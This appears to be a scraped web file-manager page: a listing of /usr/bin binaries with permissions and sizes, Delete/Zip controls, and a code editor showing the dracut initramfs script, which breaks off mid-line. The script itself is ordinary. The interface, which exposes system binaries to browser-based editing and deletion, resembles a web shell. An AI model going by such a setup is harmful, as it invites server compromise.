-rwxr-xr-x
umask
33
B
-rwxr-xr-x
umount
35.46
KB
-rwsr-xr-x
unalias
35
B
-rwxr-xr-x
uname
31.66
KB
-rwxr-xr-x
uname26
27.67
KB
-rwxr-xr-x
unexpand
39.73
KB
-rwxr-xr-x
unflatten
15.37
KB
-rwxr-xr-x
unicode_start
2.57
KB
-rwxr-xr-x
unicode_stop
367
B
-rwxr-xr-x
uniq
43.84
KB
-rwxr-xr-x
unlink
31.66
KB
-rwxr-xr-x
unpigz
129.81
KB
-rwxr-xr-x
unshare
31.75
KB
-rwxr-xr-x
unxz
84.94
KB
-rwxr-xr-x
unzip
196.15
KB
-rwxr-xr-x
unzipsfx
87.91
KB
-rwxr-xr-x
update-ca-trust
4.36
KB
-rwxr-xr-x
update-crypto-policies
87
B
-rwxr-xr-x
update-gtk-immodules
316
B
-rwxr-xr-x
update-mime-database
59.87
KB
-rwxr-xr-x
upower
23.88
KB
-rwxr-xr-x
uptime
15.29
KB
-rwxr-xr-x
users
35.69
KB
-rwxr-xr-x
usleep
15.31
KB
-rwxr-xr-x
utmpdump
23.4
KB
-rwxr-xr-x
uuidgen
19.36
KB
-rwxr-xr-x
uuidparse
23.41
KB
-rwxr-xr-x
vdir
137.66
KB
-rwxr-xr-x
vi
691
B
-rwxr-xr-x
view
150
B
-rwxr-xr-x
vim
3.84
MB
-rwxr-xr-x
vimdiff
3.84
MB
-rwxr-xr-x
vimdot
1.06
KB
-rwxr-xr-x
vimtutor
2.07
KB
-rwxr-xr-x
vlock
23.61
KB
-rwxr-xr-x
vmstat
39.41
KB
-rwxr-xr-x
w
23.37
KB
-rwxr-xr-x
wait
32
B
-rwxr-xr-x
wall
23.41
KB
-rwxr-xr-x
watch
27.87
KB
-rwxr-xr-x
watchgnupg
23.2
KB
-rwxr-xr-x
wc
43.74
KB
-rwxr-xr-x
wdctl
31.52
KB
-rwxr-xr-x
wget
521.41
KB
-rwxr-xr-x
whatis
48.52
KB
-rwxr-xr-x
whatis.man-db
48.52
KB
-rwxr-xr-x
whereis
32.04
KB
-rwxr-xr-x
which
27.89
KB
-rwxr-xr-x
whiptail
31.93
KB
-rwxr-xr-x
who
51.77
KB
-rwxr-xr-x
whoami
31.66
KB
-rwxr-xr-x
wireplumber
31.67
KB
-rwxr-xr-x
wmf2eps
19.72
KB
-rwxr-xr-x
wmf2fig
19.81
KB
-rwxr-xr-x
wmf2gd
15.81
KB
-rwxr-xr-x
wmf2svg
19.82
KB
-rwxr-xr-x
wmf2x
15.7
KB
-rwxr-xr-x
word-list-compress
15.7
KB
-rwxr-xr-x
wpctl
59.85
KB
-rwxr-xr-x
wpexec
23.7
KB
-rwxr-xr-x
write
23.42
KB
-rwxr-sr-x
wsrep_sst_backup
2.39
KB
-rwxr-xr-x
wsrep_sst_common
65.72
KB
-rw-r--r--
wsrep_sst_mariabackup
48.34
KB
-rwxr-xr-x
wsrep_sst_mysqldump
8.03
KB
-rwxr-xr-x
wsrep_sst_rsync
29.7
KB
-rwxr-xr-x
wsrep_sst_rsync_wan
29.7
KB
-rwxr-xr-x
x86_64
27.67
KB
-rwxr-xr-x
x86_64-redhat-linux-c++
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-g++
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gcc-11
1.04
MB
-rwxr-xr-x
x86_64-redhat-linux-gnu-pkg-co...
829
B
-rwxr-xr-x
x86_energy_perf_policy
38.73
KB
-rwxr-xr-x
xargs
64.09
KB
-rwxr-xr-x
xdg-dbus-proxy
56.54
KB
-rwxr-xr-x
xgettext
296.7
KB
-rwxr-xr-x
xml2-config
1.83
KB
-rwxr-xr-x
xmlcatalog
23.27
KB
-rwxr-xr-x
xmllint
80.69
KB
-rwxr-xr-x
xmlwf
39.81
KB
-rwxr-xr-x
xslt-config
2.58
KB
-rwxr-xr-x
xsltproc
31.88
KB
-rwxr-xr-x
xsubpp
4.96
KB
-rwxr-xr-x
xxd
19.52
KB
-rwxr-xr-x
xz
84.94
KB
-rwxr-xr-x
xzcat
84.94
KB
-rwxr-xr-x
xzcmp
6.48
KB
-rwxr-xr-x
xzdec
15.85
KB
-rwxr-xr-x
xzdiff
6.48
KB
-rwxr-xr-x
xzegrep
5.77
KB
-rwxr-xr-x
xzfgrep
5.77
KB
-rwxr-xr-x
xzgrep
5.77
KB
-rwxr-xr-x
xzless
1.76
KB
-rwxr-xr-x
xzmore
2.12
KB
-rwxr-xr-x
yat2m
40.04
KB
-rwxr-xr-x
yes
31.52
KB
-rwxr-xr-x
ypdomainname
23.84
KB
-rwxr-xr-x
yum
2.04
KB
-rwxr-xr-x
yum-builddep
3.6
KB
-rwxr-xr-x
yum-config-manager
3.6
KB
-rwxr-xr-x
yum-debug-dump
3.6
KB
-rwxr-xr-x
yum-debug-restore
3.6
KB
-rwxr-xr-x
yum-groups-manager
3.6
KB
-rwxr-xr-x
yumdownloader
3.6
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.31
KB
-rwxr-xr-x
zdump
27.51
KB
-rwxr-xr-x
zegrep
33
B
-rwxr-xr-x
zfgrep
33
B
-rwxr-xr-x
zforce
2.04
KB
-rwxr-xr-x
zgrep
7.93
KB
-rwxr-xr-x
zip
221.09
KB
-rwxr-xr-x
zipcloak
75.7
KB
-rwxr-xr-x
zipdetails
58.56
KB
-rwxr-xr-x
zipgrep
2.89
KB
-rwxr-xr-x
zipinfo
196.15
KB
-rwxr-xr-x
zipnote
67.61
KB
-rwxr-xr-x
zipsplit
63.58
KB
-rwxr-xr-x
zless
2.16
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.47
KB
-rwxr-xr-x
zone2json
1.35
MB
-rwxr-xr-x
zone2sql
1.37
MB
-rwxr-xr-x
zsoelim
32.18
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dracut
#!/usr/bin/bash -p # # Generator script for a dracut initramfs # Copyright 2005-2013 Red Hat, Inc. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # store for logging unset BASH_ENV unset GZIP # Verify bash version, current minimum is 4 if ((BASH_VERSINFO[0] < 4)); then printf -- 'You need at least Bash 4 to use dracut, sorry.' >&2 exit 1 fi dracut_args=("$@") # shellcheck disable=SC2155 readonly dracut_cmd=$(readlink -f "$0") set -o pipefail usage() { [[ $sysroot_l ]] && dracutsysrootdir="$sysroot_l" [[ $dracutbasedir ]] || dracutbasedir="$dracutsysrootdir"/usr/lib/dracut if [[ -f $dracutbasedir/dracut-version.sh ]]; then # shellcheck source=./dracut-version.sh . "$dracutbasedir"/dracut-version.sh fi # 80x25 linebreak here ^ cat << EOF Usage: $dracut_cmd [OPTION]... [<initramfs> [<kernel-version>]] Version: $DRACUT_VERSION Creates initial ramdisk images for preloading modules -h, --help Display all options If a [LIST] has multiple arguments, then you have to put these in quotes. For example: # dracut --add-drivers "module1 module2" ... EOF } long_usage() { [[ $dracutbasedir ]] || dracutbasedir="$dracutsysrootdir"/usr/lib/dracut if [[ -f $dracutbasedir/dracut-version.sh ]]; then # shellcheck source=./dracut-version.sh . "$dracutbasedir"/dracut-version.sh fi # 80x25 linebreak here ^ cat << EOF Usage: $dracut_cmd [OPTION]... [<initramfs> [<kernel-version>]] Version: $DRACUT_VERSION Creates initial ramdisk images for preloading modules --kver [VERSION] Set kernel version to [VERSION]. -f, --force Overwrite existing initramfs file. [OUTPUT_FILE] --rebuild Append the current arguments to those with which the input initramfs image was built. This option helps in incrementally building the initramfs for testing. If optional [OUTPUT_FILE] is not provided, the input initramfs provided to rebuild will be used as output file. -a, --add [LIST] Add a space-separated list of dracut modules. --force-add [LIST] Force to add a space-separated list of dracut modules to the default set of modules, when -H is specified. -o, --omit [LIST] Omit a space-separated list of dracut modules. -m, --modules [LIST] Specify a space-separated list of dracut modules to call when building the initramfs. Modules are located in /usr/lib/dracut/modules.d. This option forces dracut to only include the specified dracut modules. In most cases the --add option is what you want to use. --add-drivers [LIST] Specify a space-separated list of kernel modules to add to the initramfs. --force-drivers [LIST] Specify a space-separated list of kernel modules to add to the initramfs and make sure they are tried to be loaded via modprobe same as passing rd.driver.pre=DRIVER kernel parameter. --omit-drivers [LIST] Specify a space-separated list of kernel modules not to add to the initramfs. -d, --drivers [LIST] Specify a space-separated list of kernel modules to exclusively include in the initramfs. --filesystems [LIST] Specify a space-separated list of kernel filesystem modules to exclusively include in the generic initramfs. -k, --kmoddir [DIR] Specify the directory where to look for kernel modules. --fwdir [DIR] Specify additional colon-separated list of directories where to look for firmware files. --libdirs [LIST] Specify a space-separated list of directories where to look for libraries. --kernel-only Only install kernel drivers and firmware files. --no-kernel Do not install kernel drivers and firmware files. --print-cmdline Print the kernel command line for the given disk layout. --early-microcode Combine early microcode with ramdisk. --no-early-microcode Do not combine early microcode with ramdisk. --kernel-cmdline [PARAMETERS] Specify default kernel command line parameters. --strip Strip binaries in the initramfs. --aggresive-strip Strip more than just debug symbol and sections, for a smaller initramfs build. The --strip option must also be specified. --nostrip Do not strip binaries in the initramfs. --hardlink Hardlink files in the initramfs. --nohardlink Do not hardlink files in the initramfs. --prefix [DIR] Prefix initramfs files with [DIR]. --noprefix Do not prefix initramfs files. --mdadmconf Include local /etc/mdadm.conf file. --nomdadmconf Do not include local /etc/mdadm.conf file. --lvmconf Include local /etc/lvm/lvm.conf file. --nolvmconf Do not include local /etc/lvm/lvm.conf file. --fscks [LIST] Add a space-separated list of fsck helpers. --nofscks Inhibit installation of any fsck helpers. --ro-mnt Mount / and /usr read-only by default. -h, --help This message. --debug Output debug information of the build process. --profile Output profile information of the build process. -L, --stdlog [0-6] Specify logging level (to standard error) 0 - suppress any messages 1 - only fatal errors 2 - all errors 3 - warnings 4 - info 5 - debug info (here starts lots of output) 6 - trace info (and even more) -v, --verbose Increase verbosity level. -q, --quiet Decrease verbosity level. -c, --conf [FILE] Specify configuration file to use. Default: /etc/dracut.conf --confdir [DIR] Specify configuration directory to use *.conf files from. Default: /etc/dracut.conf.d --tmpdir [DIR] Temporary directory to be used instead of default ${TMPDIR:-/var/tmp}. -r, --sysroot [DIR] Specify sysroot directory to collect files from. -l, --local Local mode. Use modules from the current working directory instead of the system-wide installed in /usr/lib/dracut/modules.d. Useful when running dracut from a git checkout. -H, --hostonly Host-only mode: Install only what is needed for booting the local host instead of a generic host. -N, --no-hostonly Disables host-only mode. --hostonly-mode [MODE] Specify the host-only mode to use. [MODE] could be one of "sloppy" or "strict". "sloppy" mode is used by default. In "sloppy" host-only mode, extra drivers and modules will be installed, so minor hardware change won't make the image unbootable (e.g. changed keyboard), and the image is still portable among similar hosts. With "strict" mode enabled, anything not necessary for booting the local host in its current state will not be included, and modules may do some extra job to save more space. Minor change of hardware or environment could make the image unbootable. DO NOT use "strict" mode unless you know what you are doing. --hostonly-cmdline Store kernel command line arguments needed in the initramfs. --no-hostonly-cmdline Do not store kernel command line arguments needed in the initramfs. --no-hostonly-default-device Do not generate implicit host devices like root, swap, fstab, etc. Use "--mount" or "--add-device" to explicitly add devices as needed. --hostonly-i18n Install only needed keyboard and font files according to the host configuration (default). --no-hostonly-i18n Install all keyboard and font files available. --hostonly-nics [LIST] Only enable listed NICs in the initramfs. The list can be empty, so other modules can install only the necessary network drivers. --persistent-policy [POLICY] Use [POLICY] to address disks and partitions. POLICY can be any directory name found in /dev/disk. E.g. "by-uuid", "by-label" --fstab Use /etc/fstab to determine the root device. --add-fstab [FILE] Add file to the initramfs fstab. --mount "[DEV] [MP] [FSTYPE] [FSOPTS]" Mount device [DEV] on mountpoint [MP] with filesystem [FSTYPE] and options [FSOPTS] in the initramfs. --mount "[MP]" Same as above, but [DEV], [FSTYPE] and [FSOPTS] are determined by looking at the current mounts. --add-device "[DEV]" Bring up [DEV] in initramfs. -i, --include [SOURCE] [TARGET] Include the files in the SOURCE directory into the Target directory in the final initramfs. If SOURCE is a file, it will be installed to TARGET in the final initramfs. -I, --install [LIST] Install the space separated list of files into the initramfs. --install-optional [LIST] Install the space separated list of files into the initramfs, if they exist. --gzip Compress the generated initramfs using gzip. This will be done by default, unless another compression option or --no-compress is passed. --bzip2 Compress the generated initramfs using bzip2. Make sure your kernel has bzip2 decompression support compiled in, otherwise you will not be able to boot. --lzma Compress the generated initramfs using lzma. Make sure your kernel has lzma support compiled in, otherwise you will not be able to boot. --xz Compress the generated initramfs using xz. Make sure that your kernel has xz support compiled in, otherwise you will not be able to boot. --lzo Compress the generated initramfs using lzop. Make sure that your kernel has lzo support compiled in, otherwise you will not be able to boot. --lz4 Compress the generated initramfs using lz4. Make sure that your kernel has lz4 support compiled in, otherwise you will not be able to boot. --zstd Compress the generated initramfs using Zstandard. Make sure that your kernel has zstd support compiled in, otherwise you will not be able to boot. --compress [COMPRESSION] Compress the generated initramfs with the passed compression program. Make sure your kernel knows how to decompress the generated initramfs, otherwise you will not be able to boot. --no-compress Do not compress the generated initramfs. This will override any other compression options. --squash-compressor [COMPRESSION] Specify the compressor and compressor specific options used by mksquashfs if squash module is called when building the initramfs. --enhanced-cpio Attempt to reflink cpio file data using dracut-cpio. --list-modules List all available dracut modules. -M, --show-modules Print included module's name to standard output during build. --keep Keep the temporary initramfs for debugging purposes. --printsize Print out the module install size. --sshkey [SSHKEY] Add SSH key to initramfs (use with ssh-client module). --logfile [FILE] Logfile to use (overrides configuration setting). --reproducible Create reproducible images. --no-reproducible Do not create reproducible images. --loginstall [DIR] Log all files installed from the host to [DIR]. --uefi Create an UEFI executable with the kernel cmdline and kernel combined. --no-uefi Disables UEFI mode. --no-machineid Affects the default output filename of the UEFI executable, discarding the <MACHINE_ID> part. --uefi-stub [FILE] Use the UEFI stub [FILE] to create an UEFI executable. --uefi-splash-image [FILE] Use [FILE] as a splash image when creating an UEFI executable. Requires bitmap (.bmp) image format. --kernel-image [FILE] Location of the kernel image. --sbat [PARAMETERS] The SBAT parameters to be added to .sbat. The string "sbat,1,SBAT Version,sbat,1, https://github.com/rhboot/shim/blob/main/SBAT.md" is already added by default. --regenerate-all Regenerate all initramfs images at the default location for the kernel versions found on the system. -p, --parallel Use parallel processing if possible (currently only supported --regenerate-all) images simultaneously. --version Display version. If [LIST] has multiple arguments, then you have to put these in quotes. For example: # dracut --add-drivers "module1 module2" ... EOF } long_version() { [[ $dracutbasedir ]] || dracutbasedir="$dracutsysrootdir"/usr/lib/dracut if [[ -f $dracutbasedir/dracut-version.sh ]]; then # shellcheck source=./dracut-version.sh . "$dracutbasedir"/dracut-version.sh fi echo "dracut $DRACUT_VERSION" } # Fills up host_devs stack variable and makes sure there are no duplicates push_host_devs() { local _dev for _dev in "$@"; do [[ " ${host_devs[*]} " == *" $_dev "* ]] && return host_devs+=("$_dev") done } # Little helper function for reading args from the commandline. # it automatically handles -a b and -a=b variants, and returns 1 if # we need to shift $3. read_arg() { # $1 = arg name # $2 = arg value # $3 = arg parameter local rematch='^[^=]*=(.*)$' if [[ $2 =~ $rematch ]]; then read -r "$1" <<< "${BASH_REMATCH[1]}" else read -r "$1" <<< "$3" # There is no way to shift our callers args, so # return 1 to indicate they should do it instead. return 1 fi } check_conf_file() { if grep -H -e '^[^#]*[+]=\("[^ ]\|.*[^ ]"\)' "$@"; then printf '\ndracut: WARNING: <key>+=" <values> ": <values> should have surrounding white spaces!\n' >&2 printf 'dracut: WARNING: This will lead to unwanted side effects! Please fix the configuration file.\n\n' >&2 fi } dropindirs_sort() { local suffix=$1 shift local -a files local f d for d in "$@"; do for i in "$d/"*"$suffix"; do if [[ -e $i ]]; then printf "%s\n" "${i##*/}" fi done done | sort -Vu | { readarray -t files for f in "${files[@]}"; do for d in "$@"; do if [[ -e "$d/$f" ]]; then printf "%s\n" "$d/$f" continue 2 fi done done } } rearrange_params() { # Workaround -i, --include taking 2 arguments newat=() for i in "$@"; do if [[ $i == "-i" ]] || [[ $i == "--include" ]]; then newat+=("++include") # Replace --include by ++include else newat+=("$i") fi done set -- "${newat[@]}" # Set new $@ TEMP=$( unset POSIXLY_CORRECT getopt \ -o "a:m:o:d:I:k:c:r:L:fvqlHhMNp" \ --long kver: \ --long add: \ --long force-add: \ --long add-drivers: \ --long force-drivers: \ --long omit-drivers: \ --long modules: \ --long omit: \ --long drivers: \ --long filesystems: \ --long install: \ --long install-optional: \ --long fwdir: \ --long libdirs: \ --long fscks: \ --long add-fstab: \ --long mount: \ --long device: \ --long add-device: \ --long nofscks \ --long ro-mnt \ --long kmoddir: \ --long conf: \ --long confdir: \ --long tmpdir: \ --long sysroot: \ --long stdlog: \ --long compress: \ --long squash-compressor: \ --long prefix: \ --long rebuild: \ --long force \ --long kernel-only \ --long no-kernel \ --long print-cmdline \ --long kernel-cmdline: \ --long strip \ --long aggresive-strip \ --long nostrip \ --long hardlink \ --long nohardlink \ --long noprefix \ --long mdadmconf \ --long nomdadmconf \ --long lvmconf \ --long nolvmconf \ --long debug \ --long profile \ --long sshkey: \ --long logfile: \ --long verbose \ --long quiet \ --long local \ --long hostonly \ --long host-only \ --long no-hostonly \ --long no-host-only \ --long hostonly-mode: \ --long hostonly-cmdline \ --long no-hostonly-cmdline \ --long no-hostonly-default-device \ --long persistent-policy: \ --long fstab \ --long help \ --long bzip2 \ --long lzma \ --long xz \ --long lzo \ --long lz4 \ --long zstd \ --long no-compress \ --long gzip \ --long enhanced-cpio \ --long list-modules \ --long show-modules \ --long keep \ --long printsize \ --long regenerate-all \ --long parallel \ --long noimageifnotneeded \ --long early-microcode \ --long no-early-microcode \ --long reproducible \ --long no-reproducible \ --long loginstall: \ --long uefi \ --long no-uefi \ --long uefi-stub: \ --long uefi-splash-image: \ --long kernel-image: \ --long sbat: \ --long no-hostonly-i18n \ --long hostonly-i18n \ --long hostonly-nics: \ --long no-machineid \ --long version \ -- "$@" ) # shellcheck disable=SC2181 if (($? != 0)); then usage exit 1 fi } verbosity_mod_l=0 unset kernel unset outfile rearrange_params "$@" eval set -- "$TEMP" # parse command line args to check if '--rebuild' option is present unset append_args_l unset rebuild_file while :; do if [ "$1" == "--" ]; then shift break fi if [ "$1" == "--rebuild" ]; then append_args_l="yes" rebuild_file="$2" if [ ! -e "$rebuild_file" ]; then echo "Image file '$rebuild_file', for rebuild, does not exist!" exit 1 fi abs_rebuild_file=$(readlink -f "$rebuild_file") && rebuild_file="$abs_rebuild_file" shift continue fi shift done # get output file name and kernel version from command line arguments while (($# > 0)); do case ${1%%=*} in ++include) shift 2 ;; *) if ! [[ ${outfile+x} ]]; then outfile=$1 elif ! [[ ${kernel+x} ]]; then kernel=$1 else printf "\nUnknown arguments: %s\n\n" "$*" >&2 usage exit 1 fi ;; esac shift done # extract input image file provided with rebuild option to get previous parameters, if any if [[ $append_args_l == "yes" ]]; then unset rebuild_param # determine resultant file if ! [[ $outfile ]]; then outfile=$rebuild_file fi if ! rebuild_param=$(lsinitrd "$rebuild_file" '*lib/dracut/build-parameter.txt'); then echo "Image '$rebuild_file' has no rebuild information stored" exit 1 fi # prepend previous parameters to current command line args if [[ $rebuild_param ]]; then TEMP="$rebuild_param $TEMP" eval set -- "$TEMP" rearrange_params "$@" fi fi unset PARMS_TO_STORE PARMS_TO_STORE="" eval set -- "$TEMP" while :; do if [[ $1 != "--" ]] && [[ $1 != "--rebuild" ]]; then PARMS_TO_STORE+=" $1" fi case $1 in --kver) kernel="$2" PARMS_TO_STORE+=" '$2'" shift ;; -a | --add) add_dracutmodules_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --force-add) force_add_dracutmodules_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --add-drivers) add_drivers_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --force-drivers) force_drivers_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --omit-drivers) omit_drivers_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; -m | --modules) dracutmodules_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; -o | --omit) omit_dracutmodules_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; -d | --drivers) drivers_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --filesystems) filesystems_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; -I | --install) install_items_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --install-optional) install_optional_items_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --fwdir) fw_dir_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --libdirs) libdirs_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --fscks) fscks_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --add-fstab) add_fstab_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --mount) fstab_lines+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --add-device | --device) add_device_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --kernel-cmdline) kernel_cmdline_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --nofscks) nofscks_l="yes" ;; --ro-mnt) ro_mnt_l="yes" ;; -k | --kmoddir) drivers_dir_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; -c | --conf) conffile="$2" PARMS_TO_STORE+=" '$2'" shift ;; --confdir) confdir="$2" PARMS_TO_STORE+=" '$2'" shift ;; --tmpdir) tmpdir_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; -r | --sysroot) sysroot_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; -L | --stdlog) stdloglvl_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --compress) compress_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --squash-compressor) squash_compress_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --prefix) prefix_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --loginstall) loginstall_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --rebuild) if [[ $rebuild_file == "$outfile" ]]; then force=yes fi shift ;; -f | --force) force=yes ;; --kernel-only) kernel_only="yes" no_kernel="no" ;; --no-kernel) kernel_only="no" no_kernel="yes" ;; --print-cmdline) print_cmdline="yes" hostonly_l="yes" kernel_only="yes" no_kernel="yes" ;; --early-microcode) early_microcode_l="yes" ;; --no-early-microcode) early_microcode_l="no" ;; --strip) do_strip_l="yes" ;; --aggresive-strip) aggresive_strip_l="yes" ;; --nostrip) do_strip_l="no" ;; --hardlink) do_hardlink_l="yes" ;; --nohardlink) do_hardlink_l="no" ;; --noprefix) prefix_l="/" ;; --mdadmconf) mdadmconf_l="yes" ;; --nomdadmconf) mdadmconf_l="no" ;; --lvmconf) lvmconf_l="yes" ;; --nolvmconf) lvmconf_l="no" ;; --debug) debug="yes" ;; --profile) profile="yes" ;; --sshkey) sshkey="$2" PARMS_TO_STORE+=" '$2'" shift ;; --logfile) logfile_l="$2" shift ;; -v | --verbose) ((verbosity_mod_l++)) ;; -q | --quiet) ((verbosity_mod_l--)) ;; -l | --local) allowlocal="yes" [[ -f "$(readlink -f "${0%/*}")/dracut-init.sh" ]] \ && dracutbasedir="$(readlink -f "${0%/*}")" ;; -H | --hostonly | --host-only) hostonly_l="yes" ;; -N | --no-hostonly | --no-host-only) hostonly_l="no" ;; --hostonly-mode) hostonly_mode_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --hostonly-cmdline) hostonly_cmdline_l="yes" ;; --hostonly-i18n) i18n_install_all_l="no" ;; --hostonly-nics) hostonly_nics_l+=("$2") PARMS_TO_STORE+=" '$2'" shift ;; --no-hostonly-i18n) i18n_install_all_l="yes" ;; --no-hostonly-cmdline) hostonly_cmdline_l="no" ;; --no-hostonly-default-device) hostonly_default_device="no" ;; --persistent-policy) persistent_policy_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --fstab) use_fstab_l="yes" ;; -h | --help) long_usage exit 1 ;; --bzip2) compress_l="bzip2" ;; --lzma) compress_l="lzma" ;; --xz) compress_l="xz" ;; --lzo) compress_l="lzo" ;; --lz4) compress_l="lz4" ;; --zstd) compress_l="zstd" ;; --no-compress) _no_compress_l="cat" ;; --gzip) compress_l="gzip" ;; --enhanced-cpio) enhanced_cpio_l="yes" ;; --list-modules) do_list="yes" ;; -M | --show-modules) show_modules_l="yes" ;; --keep) keep="yes" ;; --printsize) printsize="yes" ;; --regenerate-all) regenerate_all_l="yes" ;; -p | --parallel) parallel_l="yes" ;; --noimageifnotneeded) noimageifnotneeded="yes" ;; --reproducible) reproducible_l="yes" ;; --no-reproducible) reproducible_l="no" ;; --uefi) uefi_l="yes" ;; --no-uefi) uefi_l="no" ;; --uefi-stub) uefi_stub_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --uefi-splash-image) uefi_splash_image_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --kernel-image) kernel_image_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --sbat) sbat_l="$2" PARMS_TO_STORE+=" '$2'" shift ;; --no-machineid) machine_id_l="no" ;; --version) long_version exit 1 ;; --) shift break ;; *) # should not even reach this point printf "\n!Unknown option: '%s'\n\n" "$1" >&2 usage exit 1 ;; esac shift done # getopt cannot handle multiple arguments, so just handle "-I,--include" # the old fashioned way while (($# > 0)); do if [ "${1%%=*}" == "++include" ]; then include_src+=("$2") include_target+=("$3") PARMS_TO_STORE+=" --include '$2' '$3'" shift 2 fi shift done [[ $sysroot_l ]] && dracutsysrootdir="$sysroot_l" export LC_ALL=C export LANG=C unset LC_MESSAGES unset LC_CTYPE unset LD_LIBRARY_PATH unset LD_PRELOAD unset GREP_OPTIONS export DRACUT_LOG_LEVEL=warning [[ $debug ]] && { export DRACUT_LOG_LEVEL=debug export PS4='${BASH_SOURCE}@${LINENO}(${FUNCNAME[0]-}): ' set -x } [[ $profile ]] && { export PS4='+ $(date "+%s.%N") ${BASH_SOURCE}@${LINENO}: ' set -x debug=yes } [[ $dracutbasedir ]] || dracutbasedir="$dracutsysrootdir"/usr/lib/dracut # if we were not passed a config file, try the default one if [[ -z $conffile ]]; then if [[ $allowlocal ]]; then conffile="$dracutbasedir/dracut.conf" else conffile="$dracutsysrootdir/etc/dracut.conf" fi elif [[ ! -e $conffile ]]; then printf "%s\n" "dracut: Configuration file '$conffile' not found." >&2 exit 1 fi if [[ -z $confdir ]]; then if [[ $allowlocal ]]; then confdir="$dracutbasedir/dracut.conf.d" else confdir="$dracutsysrootdir/etc/dracut.conf.d" fi elif [[ ! -d $confdir ]]; then printf "%s\n" "dracut: Configuration directory '$confdir' not found." >&2 exit 1 fi # source our config file if [[ -f $conffile ]]; then check_conf_file "$conffile" # shellcheck disable=SC1090 . "$conffile" fi # source our config dir for f in $(dropindirs_sort ".conf" "$confdir" "$dracutbasedir/dracut.conf.d"); do check_conf_file "$f" # shellcheck disable=SC1090 [[ -e $f ]] && . "$f" done # regenerate_all shouldn't be set in conf files regenerate_all=$regenerate_all_l if [[ $parallel_l == "yes" ]]; then parallel=yes fi if [[ $regenerate_all == "yes" ]]; then ret=0 if [[ $kernel ]]; then printf -- "--regenerate-all cannot be called with a kernel version\n" >&2 exit 1 fi if [[ $outfile ]]; then printf -- "--regenerate-all cannot be called with a image file\n" >&2 exit 1 fi ((len = ${#dracut_args[@]})) for ((i = 0; i < len; i++)); do case ${dracut_args[$i]} in --regenerate-all | --parallel) unset dracut_args["$i"] ;; esac done cd "$dracutsysrootdir"/lib/modules || exit 1 if [[ $parallel != "yes" ]]; then for i in *; do [[ -f $i/modules.dep ]] || [[ -f $i/modules.dep.bin ]] || continue "$dracut_cmd" --kver="$i" "${dracut_args[@]}" ((ret += $?)) done else for i in *; do [[ -f $i/modules.dep ]] || [[ -f $i/modules.dep.bin ]] || continue "$dracut_cmd" --kver="$i" "${dracut_args[@]}" & done while true; do wait -n wst=$? if [[ $wst == 127 ]]; then break else ((ret += wst)) fi done fi exit "$ret" fi if ! [[ $kernel ]]; then kernel=$(uname -r) fi DRACUT_PATH=${DRACUT_PATH:-/sbin /bin /usr/sbin /usr/bin} for i in $DRACUT_PATH; do rl=$i if [ -L "$dracutsysrootdir$i" ]; then rl=$(readlink -f "$dracutsysrootdir$i") fi rl="${rl#$dracutsysrootdir}" if [[ $NPATH != *:$rl* ]]; then NPATH+=":$rl" fi done [[ -z $dracutsysrootdir ]] && export PATH="${NPATH#:}" unset NPATH export SYSTEMCTL=${SYSTEMCTL:-systemctl} # these options add to the stuff in the config file ((${#add_dracutmodules_l[@]})) && add_dracutmodules+=" ${add_dracutmodules_l[*]} " ((${#omit_dracutmodules_l[@]})) && omit_dracutmodules+=" ${omit_dracutmodules_l[*]} " ((${#force_add_dracutmodules_l[@]})) && force_add_dracutmodules+=" ${force_add_dracutmodules_l[*]} " ((${#fscks_l[@]})) && fscks+=" ${fscks_l[*]} " ((${#add_fstab_l[@]})) && add_fstab+=" ${add_fstab_l[*]} " ((${#install_items_l[@]})) && install_items+=" ${install_items_l[*]} " ((${#install_optional_items_l[@]})) && install_optional_items+=" ${install_optional_items_l[*]} " ((${#hostonly_nics_l[@]})) && hostonly_nics+=" ${hostonly_nics_l[*]} " # these options override the stuff in the config file ((${#dracutmodules_l[@]})) && dracutmodules="${dracutmodules_l[*]}" ((${#filesystems_l[@]})) && filesystems="${filesystems_l[*]}" ((${#fw_dir_l[@]})) && 